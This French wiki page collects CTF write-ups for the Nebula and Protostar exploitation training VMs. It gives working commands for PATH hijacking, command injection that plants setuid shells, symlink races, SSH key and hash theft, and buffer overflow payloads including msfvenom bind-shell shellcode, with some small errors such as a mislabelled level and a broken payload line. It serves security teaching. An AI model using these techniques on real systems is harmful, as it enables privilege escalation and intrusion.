Utilisateur:Xioth/Technique/Write-ups

Chaque niveau est détaillé, permettant à quiconque de le finir, et en expliquant succinctement la méthode utilisée.
(Les recherches et la compréhension reste à votre charge ! Si vous ne comprenez pas, cherchez dans les manuels des diverses commandes, ou posez des questions sur des forums spécialisés)

Exploit-Exercises

modifier

Niveau 0

modifier

On nous demande ici de trouver un programme que l'on peut exécuter comme utilisateur flag00. On a donc besoin de trouver un fichier appartenant à "flag00", et qui dispose du SUID.
Le niveau se résume donc à faire ceci :

find / -user flag00 -perm -u=s 2> /dev/null


  • On recherche donc bien, depuis la racine, un fichier qui appartient à flag00 et qui dispose de la permission Set User ID. Et on vire les erreurs.
  • On exécute le fichier que l'on vient de trouver.
  • On nous dit que l'on a réussi à trouver le fichier, et qu'il ne nous reste plus qu'à lancer "getflag".

Niveau 1

modifier

La faille dans le programme flag01 se situe à la ligne 17 (Se référer à exploit-exercises.com), en effet, l'appel à "echo" est fait sans utiliser un chemin absolu, ainsi, Linux va aller chercher l'endroit où se situe le programme dans la variable d'environnement PATH.
On peut tirer bénéfice de ça, en modifiant nous-même cette variable, et en créant un nouveau programme "echo" situé ailleurs.

On aura donc besoin de faire :

echo "/bin/sh" > /tmp/echo
chmod +x /tmp/echo
export PATH =/tmp:$PATH


  • On exécute le fichier /home/flag01/flag01 ; Ce qui nous ouvre un Shell, et comme le fichier flag01 appartient à ce même utilisateur, on récupère ses droits. Il ne suffit plus que de taper "getflag".

Niveau 2

modifier

Ici on a une influence directe sur buffer grâce à la fonction asprintf. En effet, celle-ci utilise une variable d'environnement (USER), que l'on peut nous-même modifier.
On aura donc qu'à changer la valeur de cette variable, et lancer le programme.
On tapera donc :

USER="; sh #"
/home/flag02/flag02


Un Shell s'ouvre, et on peut ainsi voir que l'on dispose des droits de flag02, on peut alors taper "getflag" !

Niveau 3

modifier

On nous dit qu'un crontab est appelé toutes les quelques minutes. On voit un fichier "writable.sh" se situant à "/home/flag03/", ainsi qu'un dossier nommé "writable.d". On comprend vite que writable.sh est le script qui sera exécuté régulièrement, lui-même exécute tout les fichiers se trouvant dans "writable.d".

Pourquoi aller chercher compliqué ?

echo -e "/bin/getflag > /tmp/getflag" > woot
sleep 180; cat /tmp/getflag


SINON

On peut aussi faire quelque chose de plus poussé, et récupérer un Shell avec les droits de flag03. Pour ça, il suffit de prendre le code source du programme utilisé lors du level02, on le place dans /tmp, par exemple, et en partant du principe que nous somme actuellement dans writable.d. On fait :

echo -e "gcc /tmp/level02.c -o /home/flag03/level02; chmod +s /home/flag/level02" > woot; chmod +x woot
sleep 180; /home/flag03/level02


Il ne nous resterait donc plus qu'à taper getflag pour valider le niveau, mais l'avantage de cette solution, c'est que l'on a vraiment un shell, et que l'on peut donc faire tout ce que l'on veut, plus simplement.

Niveau 4

modifier

Un niveau intéressant. On nous dit qu'il faut récupérer un token, et on nous présente une source dans laquelle le programme va aller chercher le contenu d'un fichier, le lire et l'écrire sur la sortie standard "stdout", si nous en avons les droits. Evidemment, nous ne les avons pas. On utilisera donc les Symlinks, et nous passerons ce "raccourci" en argument du programme flag04.

ln -s /home/flag04/token jeton
/home/flag04/flag04 jeton


Arrivé là, nous avons le token qui s'affiche en sortie standard, le boulot est donc fini. Il ne suffit plus que de lancer getflag en tant que flag04. Nous avons son token, qui représente son mot de passe, nous allons donc utiliser :

su flag04 -c getflag


Et de placer le token lorsque l'on nous demande le mot de passe. Et si nous voulions un Shell, il suffit de ne taper que :

su flag04

Niveau 5

modifier

Cherchons des dossiers avec des permissions qui nous arrangent !
Forcément, nous allons donc utiliser :

ls -la /home/flag05/


On voit que le dossier .backup est exactement ce qu'il nous faut, il contient un .tgz. Copions-le et extrayons-le !

cp /home/flag05/.backup/backup-19072011.tgz .
tar xvf backup-19072011.tgz


Cela fait poper quelque chose de très intéressant, directement dans notre home. En effet, nous avons maintenant un dossier ssh, dans lequel se trouve en particulier "id_rsa", qui contient la clé privée permettant de se connecter sans mot de passe. Si elle encore correcte, alors nous pouvons nous connecter en tant que flag05, sans même indiquer de mot de passe.

ssh flag05@nebula


Pas de mot de passe demandé ! Il ne reste plus qu'à taper getflag, à vous l'honneur.

Niveau 6

modifier

L'indice est très gentil. On nous dit grossièrement que le système de stockage des mots de passe vient des anciens systèmes Unix. Ainsi, on peut en déduire que le hash n'est pas dans /etc/shadow, mais dans /etc/passwd que tout le monde peut lire. Nous allons donc aller chercher notre ami flag06 :

grep flag06 /etc/passwd


Cela nous ressort la ligne que nous voulions, et on voit bien un hash. Si nous voulions le cracker directement sur Nebula, c'est loupé, John The Ripper n'est pas installé. Jouons le jeu, passons sur une distribution style Kali. Créons un fichier :

touch passwordNebula; echo monHash > passwordNebula


Et maintenant, utilisons John !

john passwordNebula


Le mot de passe est trouvé instantanément, logique vu sa complexité. Il ne nous reste plus qu'à taper getflag !

su flag06 -c getflag


OU

su flag06

Niveau 7

modifier

Nous allons devoir exploiter un script dans lequel un ping est effectué à l'adresse choisie par l'utilisateur.
En faisant une injection de code, on peut détourner ce script, pour nous créer un Shell avec l'id de flag07. Nous allons d'abord reprendre le code du level02, et modifier légèrement les dernières lignes, exactement comme lors du level03. Une fois les fonctions setresgid et setresuid passées, on supprimera le reste, et on ajoutera la ligne, dans le main, system("/bin/sh");, tout simplement.
Plaçons ce code dans /tmp.

php -r 'echo "Host=" . urlencode("; gcc /tmp/shell.c -o /home/flag07/shell; chmod +s /home/flag07/shell");' > exploit
wget -O - --post-file=exploit 'localhost:7007/index.cgi'


On retiendra pour wget que l'utilisation du "-" après l'argument -O permet d'utiliser la sortie standard (stdout). Pour le reste, c'est très classique. Injection de code, on fait juste attention à bien encoder l'URL pour ne pas avoir de problème. De cet exploit en ressort un fichier exécutable /home/flag07/shell, utilisable par level07, qui permet d'avoir un Shell en tant que flag07.

Il n'y a plus qu'à taper le mot magique.

Niveau 8

modifier

Un poil plus de technique ici.
Tout d'abord, on nous dit qu'il y a encore un problème de droit.

ls -la /home/flag08/


On peut voir tout de suite une fichier nommé capture.pcap. Ces fichiers sont lisibles via Wireshark, entre autre. Plutôt que de nous fatiguer, nous allons rapatrier ce fichier capture.pcap sur une distribution comme Kali. Pour ceci on utilise, sur la machine Kali :

scp level08@nebula:/home/flag08/capture.pcap /tmp/


Pensez bien à changer nebula dans la commande précédente par l'adresse ip de la machine.
Nous avons maintenant notre fichier sur Kali.

Lançons Wireshark !

Une fois fait, nous allons aller dans "Analyze > Follow TCP Stream", une nouvelle fenêtre s'ouvre, changeons le mode d'affichage pour Hex Dump. Nous allons descendre un peu, et voir quelque chose de très intéressant. "Password:" est indiqué, suivi de ce qui ressemble à une entrée utilisateur, sur chaque ligne, un caractère. "backdoor...00Rm8.ate", je vous invite à regarder la partie hexa pour les points. Ceux qui représentent un "7F" sont en fait des suppressions. De ce fait, je vous laisse deviner le mot de passe.
Comme d'habitude, maintenant, nous avons le mot de passe, il ne reste qu'à taper getflag.

su flag08 -c getflag


OU

su flag08

Niveau 9

modifier

Il existe pas mal de méthodes de résolution pour ce niveau, je vais présenter celle qui me semble la plus simple et la plus puissante.
On a un script PHP qui va remplacer certaines portions par une constante, par exemple un point sera remplacé par dot.

On peut utiliser la Syntaxe Complexe de PHP pour récupérer un Shell en tant que flag09.

echo -e "sh # [email {${system($contents)}}]" > exploit
/home/flag09/flag09 ./exploit


Ce faisant, on exécute directement le code contenu dans notre fichier exploit, ce qui nous donne un Shell !
Imaginez ! En vérité, le script PHP chargerait "sh # [email {${system(sh # [email {${system($contents)}}])}}]", bon ça fait un peu lourd à lire, mais en gros, voyez "$(system(sh))", il renverrait donc le résultat de system(sh), qui est notre Shell. Un peu tordu, mais vraiment puissant.

Niveau 10

modifier

Lisons le code source proposé. Nous voyons qu'il y a usage de access(), nous voila donc sur une piste. En effet, lors de l'appel de access(), celui-ci vérifie les droits de l'utilisateur en ouvrant le fichier une première fois, ce qui cause une faille de sécurité. On peut exploiter ça, pour ceci on va utiliser les symlinks, et faire en sorte qu'il change constamment.

while true; do ln -sf /dev/null token; ln -sf /home/flag10/token token; done &
nc.traditional -l -p 18211 > pass &
/home/flag10/flag10 token 127.0.0.1


Tout d'abord on crée une boucle infinie qui va créer un symlink, et à chaque tour de boucle on le vire et on en recrée un, le but étant qu'on arrive a exécuter flag10 et que pendant le temps que access() fait son check, notre symlink soit remplacé.
On va ensuite avoir besoin d'une écoute sur le port 18211, sur localhost, puisque c'est là que flag10 va envoyer les informations.
Il y aura donc probablement besoin de lancer plusieurs fois la dernière ligne, puisque flag10 n'acceptera pas que vous ouvriez un fichier qui ne vous appartient pas.
Une fois tout ceci passé, et la connexion effectuée, le contenu recueilli par netcat (nc) sera remit dans le fichier pass.

cat pass


Nous disposons maintenant du mot de passe de flag10, nous allons pouvoir taper getflag ou même récupérer un Shell.

su flag10 -c getflag


OU

su flag10


Petite précision, si vous voulez faire ça proprement, pensez à kill le processus de notre boucle infinie, tant qu'à faire (Via la commande : kill -9 PID).

Niveau 11

modifier


NON DISPONIBLE


Niveau 12

modifier

Beaucoup plus simple que le niveau précédent, on se retrouve avec une nouvelle injection de code à faire.
On va tout de suite commencer par faire notre petit programme en C : shell.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system('sh');
    
    return 0;
}


On sauvegarde ça dans /tmp, par exemple.
Passons maintenant aux choses sérieuses. Le programme est en écoute sur localhost, sur le port 50001. Quand on s'y connecte, il nous demande instantanément un mot de passe.
Nous allons lui fournir ce qu'il veut, il ne sera pas bon (puisque vide, en fait), mais ça, on s'en fiche, on va en profiter pour ajouter quelques petites choses.

echo '; gcc /tmp/shell.c -o /home/flag12/shell; chmod +s /home/flag12/shell' | nc localhost 50001
/home/flag12/shell


Je vous laisse taper getflag !

Niveau 13

modifier

Un niveau assez simple a faire quand on connait un peu GDB, mais pas très évident à expliquer en détail.
On dispose ici d'un programme qui va checker si on a bien un uid particulier, ici l'uid doit être égal à 1000.
On ne peut pas réellement changer notre uid pour le mettre à 1000, alors on va faire croire au programme qu'en fait on a bien cet uid, même si c'est faux.

gdb -q /home/flag13/flag13
set disassembly intel
disassemble main


A ce stade, nous aurons ouvert notre debugger, changé pour une syntaxe Intel (Ou zappez cette ligne si vous appréciez la syntaxe AT&T), et nous aurons en face de nous le code Assembleur de la fonction main().
Nous voyons 3 lignes intéressantes :

call 0x80483c0 <getuid@plt>
cmp eax, 0x3e8
je 0x8048531 <main+109>


Intéressant ? Oui, oui, déjà on voit un appel à la fonction getuid(), comme dans le if de notre programme. Et c'est suivi par un cmp, une comparaison pour savoir si eax est égal a 0x3e8 (1000, en décimal). Si c'est le cas, alors on a un saut qui est effectué bien plus bas dans le programme, sinon on voit un nouvel appel de getuid() et légèrement plus loin un printf(), exactement comme dans notre source, lorsque l'on se fait refuser l'accès.
Ne reste plus qu'à modifier eax alors ! Eh oui, on veut faire croire au programme que celui-ci vaut bien 1000, je vous rappelle !

break *main+48
commands 1
set $eax = 1000
continue
end
run


Et voilà notre joli token ! Vous savez déjà quoi faire avec, n'est-ce pas ?

su flag13


Ettt ! Getflag.

Niveau 14

modifier

Niveau 15

modifier

Niveau 16

modifier

Niveau 17

modifier

Niveau 18

modifier

Niveau 19

modifier

Protostar

modifier

Stack 0

modifier

Nous savons que buffer peut prendre 64 caractères, le 65ème va donc sortir, et nous voyons que notre variable modified est testée juste après. Nous allons donc mettre 65 caractères dans buffer et voir ce qu'il se passe.

python -c "print 'A'*65" | /opt/protostar/bin/stack0


On nous dit que l'on a bien modifié le contenu de la variable modified ! Parfait !

Stack 1

modifier

Similaire au précédent, sauf que l'on va devoir assigner une valeur particulière à notre variable modified.
On reprend donc une base similaire et on ajoute un petit quelque chose au bout !

/opt/protostar/bin/stack1 $(python -c "print 'A'*64 + '\x64\x63\x62\x61'")


Vous noterez que l'on nous demande d'assigner à modified la valeur 0x61626364, et qu'il semblerait que nous mettions à la place 0x64636261, en vérité, il n'en est rien, nous mettons bien la bonne valeur, mais il est nécessaire de prendre en compte le fait que l'architecture Linux soit little-endian.

Stack 2

modifier

La encore, assez similaire au précédent, on nous demande juste d'utiliser une variable d'environnement, sinon la technique reste exactement la même !

export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")
/opt/protostar/bin/stack2


Clairement, la seule différent est l'usage de cette variable d'environnement.

Stack 3

modifier

On continue de prendre appui sur les acquis ! Maintenant, on va nous demander d’accéder à la fonction win(), sachant qu'il n'y a pas d'appel de celle-ci dans le main() !
Mais le binaire est gentil, il nous offre une variable fp, qu'il exécute plus tard comme fonction, si celle-ci est différent de 0.
Récupérons donc l'adresse de win(), et injectons-la dans fp !

gdb -q /opt/protostar/bin/stack3
print win


On nous dit que win() est située en 0x8048424. Ne reste plus que l'injection que vous connaissez déjà.

python -c "print 'A'*64 + '\x24\x84\x04\x08'" | /opt/protostar/bin/stack3


Et voila, nous avons réussi a faire un jump sur la fonction qui nous intéressait.

Stack 4

modifier

Comme précédemment, on doit appeler la fonction win(), la grosse différence, c'est que maintenant, on a pas notre variable fp !
On va donc devoir changer le registre eip nous-même. Pour ceci on va utiliser gdb de manière un peu plus importante.

gdb -q /opt/protostar/bin/stack4
break main
run
next


A ce stade, nous en somme au gets(), on nous demande donc de faire une entrée utilisateur. Nous allons donc placer "AAAA", cela nous permettra de voir le début de notre buffer, ce qui nous sera utile par la suite.

info frame


Avec ceci, nous allons récupérer le registre eip sauvegardé.

x/32xw $esp


On affiche maintenant le contenu du registre esp, on voit clairement qu'en 0xbffff770, le premier word (4 bits) est bien 0x41414141, et en ASCII 41 représente A. En outre, nous avons le début de notre buffer. Nous allons pouvoir regarder la différence entre eip et ceci, et nous saurons alors combien de caractère il faudra injecter avant de placer l'adresse de win().

p 0xbffff7bc - 0xbffff770


Ce qui nous donne un résultat de 76. Il ne reste plus qu'à trouver l'adresse de la fonction win().

info address win


Il n'y a qu'a demandé, n'est-ce pas ? Plaçons tout ça dans notre charge et lançons !

python -c "print 'A'*76 + '\xf4\x83\x04\x08'" | /opt/protostar/bin/stack4


On a bien l'exécution de win(), suivi d'une jolie erreur de segmentation, puisque nous avons modifié l'adresse de retour du main(), pour qu'il pointe sur win(), du coup à la fin de win(), il y a un problème.

Stack 5

modifier

Ainsi commence réellement les choses sérieuses. Ce pourquoi on exploite généralement un buffer overflow. Exécuter un shellcode !
D'abord, on va commencer par générer notre shellcode avec Metasploit. Pour ceci, on va utiliser msfvenom.

/usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp -b '\x0d\x0a\x00\xff' -f c


De là, on va prendre notre shellcode, et faire en sorte de n'avoir que lui, sans retour à la ligne, ni guillemets, etc.
Puis, nous allons enfin entrer dans le vif du sujet. Commençons par voir combien de bytes après avoir réécrit le registre eip on peut utiliser, sachant que notre shellcode fait 105 caractères.

python -c "print 'A'*76 + 'B'*4 + 'C'*105" > /home/user/stack5
gdb -q /opt/protostar/bin/stack5
run < /home/user/stack5
x/s $eip


On voit clairement que notre caractère "C" est répété exactement 105 fois comme on le voulait. En effet, comme on l'a vu dans le niveau précédent, il fallait exactement 76 bytes pour arriver à l'adresse de retour, nous l'avons modifié dans le cas présent par nos 4 "B", ce qui nous donne l'adresse 0x42424242 et crée une erreur de segmentation. Mais on voit que le reste est quand même placé dans la stack, nos fameux 105 "C", utilisons ceci pour exécuter notre shellcode.

python -c "print 'A'*76 + '\xc0\xf7\xff\xbf' + '\x90'*5 + 'shellcode'" | /opt/protostar/bin/stack5


Comme expliqué, on a déjà besoin d'avancer de 76 bytes pour toucher l'adresse de retour, on va donc ensuite y glisser l'adresse où nous avons vu nos 105 "C", puisque c'est pile ici que sera stocké notre ami shellcode. Quant au \x90 que l'on répète 5 fois, c'est un NOP Sled, absolument obligatoire de l'utiliser, mais pas de panique nous avons de la place de toute façon.
Tout ça faisant que nous avons notre shellcode opérationnel maintenant. Testons donc via un autre terminal :

nc ipProtostar 4444


En vous connectant ainsi à l'adresse IP de votre machine virtuelle Protostar, et via le port 4444, vous activez votre remote shell, je vous invite a tester la commande id pour vous apercevoir que vous êtes bien connecté et que vous avez éventré ce niveau. Félicitation. :)

Stack 6

modifier

Stack 7

modifier

Format 0

modifier

Très simple, et d'ailleurs, on peut effectuer ce niveau de 2 façons différentes.
La première :

/opt/protostar/bin/format0 $(python -c "print 'A'*64 + '\xef\xbe\xad\xde'")


Après tout, on vient de se faire nos chers Stack-Based Overflow, on est chaud !
Mais il y a aussi une méthode plus proche des Format Strings

/opt/protostar/bin/format0 $(python -c "print '%64d\xef\xbe\xad\xde'")


Les deux sont faisables !

Format 1

modifier

Format 2

modifier

Format 3

modifier

Format 4

modifier

Première exploitation d'un Heap-Based Overflow, il est assez simple et vous rappellera surement les premiers Stack-Based, nous allons devoir calculer l'offset, comme nous l'avons déjà fait, mais nous allons utiliser Metasploit cette fois, diversifions pour en apprendre le plus possible.

/usr/share/metasploit-framework/tools/pattern_create.rb 150


Cet outil a un nom très évocateur, il permet de créer un pattern que l'on va pouvoir injecter, quand nous allons le faire, nous allons finir par écrire dans le registre eip, ce qui va causer une erreur de segmentation, et nous allons pouvoir connaitre l'adresse à laquelle eip voulait accéder. Ensuite, nous utiliserons un autre outil, toujours en provenance du Framework Metasploit, avec cette adresse et il nous donnera l'offset entre notre point d'entrée et cette fameuse "adresse".

gdb -q /opt/protostar/bin/heap0
run pattern


Vous remplacerez évidemment le mot "pattern" par votre pattern obtenu, je ne veux pas surcharger inutilement et ça pousse à tester, deux en un.
Quoi qu'il en soit, on voit bien notre adresse (0x41346341) où le soucis apparaît, prenons-la et retournons sur un terminal Kali.

/usr/share/metasploit-framework/tools/pattern_offset.rb 0x41346341


L'outil nous répond que nous avons un offset d'exactement 72. Maintenant, ne reste plus qu'à injecter, à la suite, l'adresse que l'on veut atteindre ! Et nous voulons toucher la fonction winner().
Retournons sous gdb de notre machine Protostar, et cherchons l'adresse de cette fonction, très simple, vous connaissez déjà.

info address winner


Enfin, il ne reste plus qu'à envoyer notre charge.

/opt/protostar/bin/heap0 $(python -c "'A'*72 + '\x64\x84\x04\x08'")


Et voila, notre première exploitation de Heap-Based Overflow !

Final 0

modifier

Final 1

modifier

Final 2

modifier

Niveau 0

modifier

Niveau 1

modifier

Niveau 2

modifier

Niveau 3

modifier

Niveau 4

modifier

Niveau 5

modifier

Niveau 6

modifier

Niveau 7

modifier

Niveau 8

modifier

Niveau 9

modifier

Niveau 10

modifier

Niveau 11

modifier

Niveau 12

modifier

Niveau 13

modifier

Niveau 14

modifier